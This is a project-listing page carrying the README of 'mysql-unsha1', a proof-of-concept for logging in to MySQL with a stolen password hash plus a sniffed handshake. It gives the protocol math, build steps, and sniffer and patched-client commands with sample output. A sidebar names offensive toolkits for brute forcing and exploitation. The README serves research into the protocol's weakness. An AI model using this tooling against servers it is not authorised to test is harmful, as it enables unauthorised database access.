All Projects → cyrus-and → Mysql Unsha1

cyrus-and / Mysql Unsha1

Authenticate against a MySQL server without knowing the cleartext password

Programming Languages

c
50402 projects - #5 most used programming language

Projects that are alternatives of or similar to Mysql Unsha1

K8cscan
K8Cscan大型内网渗透自定义插件化扫描神器,包含信息收集、网络资产、漏洞扫描、密码爆破、漏洞利用,程序采用多线程批量扫描大型内网多个IP段C段主机,目前插件包含: C段旁注扫描、子域名扫描、Ftp密码爆破、Mysql密码爆破、Oracle密码爆破、MSSQL密码爆破、Windows/Linux系统密码爆破、存活主机扫描、端口扫描、Web信息探测、操作系统版本探测、Cisco思科设备扫描等,支持调用任意外部程序或脚本,支持Cobalt Strike联动
Stars: ✭ 693 (+262.83%)
Mutual labels:  mysql, password, poc
Pwcrack Framework
Password Crack Framework
Stars: ✭ 72 (-62.3%)
Mutual labels:  mysql, password, sha1
K8tools
K8工具合集(内网渗透/提权工具/远程溢出/漏洞利用/扫描工具/密码破解/免杀工具/Exploit/APT/0day/Shellcode/Payload/priviledge/BypassUAC/OverFlow/WebShell/PenTest) Web GetShell Exploit(Struts2/Zimbra/Weblogic/Tomcat/Apache/Jboss/DotNetNuke/zabbix)
Stars: ✭ 4,173 (+2084.82%)
Mutual labels:  password, poc, bypass
Express Rest Api Boilerplate
Express REST API with JWT Authentication and support for sqlite, mysql, and postgresql
Stars: ✭ 384 (+101.05%)
Mutual labels:  mysql, authentication
Penetration testing poc
渗透测试有关的POC、EXP、脚本、提权、小工具等---About penetration-testing python-script poc getshell csrf xss cms php-getshell domainmod-xss penetration-testing-poc csrf-webshell cobub-razor cve rce sql sql-poc poc-exp bypass oa-getshell cve-cms
Stars: ✭ 3,858 (+1919.9%)
Mutual labels:  poc, bypass
Laconia
🏺 ‎ A minimalist MVC framework.
Stars: ✭ 307 (+60.73%)
Mutual labels:  mysql, authentication
Passwordcockpit
Passwordcockpit is a simple, free, open source, self hosted, web based password manager for teams. It is made in PHP, Javascript, MySQL and it run on a docker service. It allows users with any kind of device to safely store, share and retrieve passwords, certificates, files and much more.
Stars: ✭ 34 (-82.2%)
Mutual labels:  mysql, password
Etl with python
ETL with Python - Taught at DWH course 2017 (TAU)
Stars: ✭ 68 (-64.4%)
Mutual labels:  mysql, sniffer
Exploits
Miscellaneous exploit code
Stars: ✭ 1,157 (+505.76%)
Mutual labels:  poc, bypass
Springboot Registration Login Theperfectexample
Login & Signup tutorial for every website ,mixes a lot of microservices together with the latest spring framework api in combined with full security
Stars: ✭ 89 (-53.4%)
Mutual labels:  mysql, authentication
Go Sniffer
🔎Sniffing and parsing mysql,redis,http,mongodb etc protocol. 抓包截取项目中的数据库请求并解析成相应的语句。
Stars: ✭ 1,281 (+570.68%)
Mutual labels:  mysql, sniffer
Spring Security React Ant Design Polls App
Full Stack Polls App built using Spring Boot, Spring Security, JWT, React, and Ant Design
Stars: ✭ 1,336 (+599.48%)
Mutual labels:  mysql, authentication
BruteForce
A simple brute forcer written in GO for SHA1, SHA256, SHA512, MD5 and bcrypt
Stars: ✭ 49 (-74.35%)
Mutual labels:  password, sha1
PwnedPasswordsChecker
Search (offline) if your password (NTLM or SHA1 format) has been leaked (HIBP passwords list v8)
Stars: ✭ 52 (-72.77%)
Mutual labels:  password, sha1
Express Graphql Boilerplate
Express GraphQL API with JWT Authentication and support for sqlite, mysql, and postgresql
Stars: ✭ 201 (+5.24%)
Mutual labels:  mysql, authentication
Libreauth
LibreAuth is a collection of tools for user authentication.
Stars: ✭ 201 (+5.24%)
Mutual labels:  authentication, password
Ladon
大型内网渗透扫描器&Cobalt Strike,Ladon8.9内置120个模块,包含信息收集/存活主机/端口扫描/服务识别/密码爆破/漏洞检测/漏洞利用。漏洞检测含MS17010/SMBGhost/Weblogic/ActiveMQ/Tomcat/Struts2,密码口令爆破(Mysql/Oracle/MSSQL)/FTP/SSH(Linux)/VNC/Windows(IPC/WMI/SMB/Netbios/LDAP/SmbHash/WmiHash/Winrm),远程执行命令(smbexec/wmiexe/psexec/atexec/sshexec/webshell),降权提权Runas、GetSystem,Poc/Exploit,支持Cobalt Strike 3.X-4.0
Stars: ✭ 2,911 (+1424.08%)
Mutual labels:  password, poc
Awesome Iam
👤 Identity and Access Management Knowledge for Cloud Platforms
Stars: ✭ 186 (-2.62%)
Mutual labels:  authentication, password
Supertokens Core
Open source alternative to Auth0 / Firebase Auth / AWS Cognito
Stars: ✭ 2,907 (+1421.99%)
Mutual labels:  authentication, password
Registration Login Spring Xml Maven Jsp Mysql
Registration and Login Example with Spring MVC, Spring Security, Spring Data JPA, XML Configuration, Maven, JSP, and MySQL.
Stars: ✭ 134 (-29.84%)
Mutual labels:  mysql, authentication

mysql-unsha1

Authenticate against a MySQL server without knowing the cleartext password.

Abstract

This PoC shows how it is possible to authenticate against a MySQL server under certain circumstances without knowing the cleartext password when the Secure Password Authentication authentication plugin (aka mysql_native_password, the default method) is used.

Preconditions are:

  • to obtain a read-only access to the mysql.user table in the target database in order to fetch the hashed password for a given user;

  • to be able to intercept a successful authentication handshake performed by the aforementioned user (i.e., authentication via SSL would nullify this attempt).

Note: This is not a bug nor a vulnerability in MySQL (this is hardly an exploit actually), it is just a direct consequence of how the authentication protocol works. If an attacker is able to satisfy the above points then the whole system is probably already compromised. Yet this exploit may offer an alternative approach to obtain a proper authenticated access to a MySQL server.

MySQL server passwords

By default, passwords are stored in the mysql.user table and are hashed using the PASSWORD function which is just a two-stage SHA1 digest:

mysql> SELECT DISTINCT password FROM mysql.user WHERE user = 'root';
*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19

mysql> SELECT PASSWORD('password');
*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19

mysql> SELECT SHA1(UNHEX(SHA1('password')));
2470c0c06dee42fd1618bb99005adca2ec9d1e19

The handshake

After the TCP connection phase, initiated by the client, the MySQL authentication handshake continues as follows (simplified):

  1. the server sends a Server Greeting packet containing a salt (s);

  2. the client replies with a Login Request packet containing the session password (x), computed as follows:

     x := SHA1(password) XOR SHA1(s + SHA1(SHA1(password)))
    

    where password is the cleartext password as provided by the user and + is a mere string concatenation operator;

  3. the server can verify the challenge and authenticate the client if:

     SHA1(x XOR SHA1(s + SHA1(SHA1(password)))) = SHA1(SHA1(password))
    

    where SHA1(SHA1(password)) is the two-stage SHA1 digest of the password, stored in the mysql.user table; the server does not know the cleartext password nor its SHA1 digest.

The exploit

With enough information an attacker is able to obtain SHA1(password) and therefore to solve the server challenge without the knowledge of the cleartext password.

Let:

  • h be the hashed password obtained from the mysql.user table (i.e., SHA1(SHA1(password)));

  • s and x be the salt and the session password respectively obtained from the intercepted handshake.

The first-stage SHA1 can be obtained as follows:

SHA1(password) = x XOR SHA1(s + h)

Tools

To ease the reproducibility of the exploit, this PoC provides two tools:

  • a simple sniffer to extract and check the handshake information either live or offline from a PCAP file;

  • a patch for MySQL client which allows to treat the prompted passwords as SHA1 digests instead of cleartexts.

The sniffer

To build mysql-unsha1-sniff just run make (or make static to produce a statically linked executable). The Makefile will look for the uthash.h file in this directory and will download it if not found.

Run mysql-unsha1-sniff without arguments to display the usage message.

In accordance with the previous example:

sudo ./mysql-unsha1-sniff -i lo 127.0.0.1 3306 2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19:root

Once a successful authentication handshake is captured the output will be like:

[+] Input:
[+] - username ........................ 'root'
[+] - salt ............................ 3274756c42415d3429717e482a3776704d706b49
[+] - client session password ......... 6d45a453b989ad0ff0c84daf623e9870f129c329
[+] - SHA1(SHA1(password)) ............ 2470c0c06dee42fd1618bb99005adca2ec9d1e19
[+] Output:
[+] - SHA1(password) .................. 5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8
[+] Check:
[+] - computed SHA1(SHA1(password)) ... 2470c0c06dee42fd1618bb99005adca2ec9d1e19
[+] - authentication status ........... OK

If no account information are provided, the tool will only display the salt and the session password.

The patched MySQL client

Building the MySQL client may take some time and requires a certain amount of free disk space:

  1. download and extract the MySQL source code:

     wget https://github.com/mysql/mysql-server/archive/mysql-5.7.17.tar.gz
     tar xf mysql-5.7.17.tar.gz
     cd mysql-server-mysql-5.7.17
    
  2. apply the patch:

     patch -p1 </path/to/mysql-server-unsha1.patch
    
  3. build (without server) with:

     mkdir build
     cd build
     cmake -DDOWNLOAD_BOOST=1 -DWITH_BOOST=boost -DWITHOUT_SERVER:BOOL=ON ..
     make -j$(nproc)
    
  4. the client executable will be created at client/mysql, optionally install it globally and delete the whole source code to save some space:

     sudo cp client/mysql /usr/local/bin/mysql-unsha1
     cd ../..
     rm -fr mysql-server-mysql-5.7.17
    

Use mysql-unsha1 as the original MySQL client, just remember that the --password[=password], -p[password] option now requires a 40-digit hexadecimal SHA1 string.

In accordance with the previous example:

mysql-unsha1 -h 127.0.0.1 -P 3306 -u root --password=5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8

Where:

mysql> SELECT SHA1(UNHEX('5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8'));
2470c0c06dee42fd1618bb99005adca2ec9d1e19

and 2470c0c06dee42fd1618bb99005adca2ec9d1e19 is the hashed password stored in the mysql.user table.

Note that the project description data, including the texts, logos, images, and/or trademarks, for each open source project belongs to its rightful owner. If you wish to add or remove any projects, please contact us at [email protected].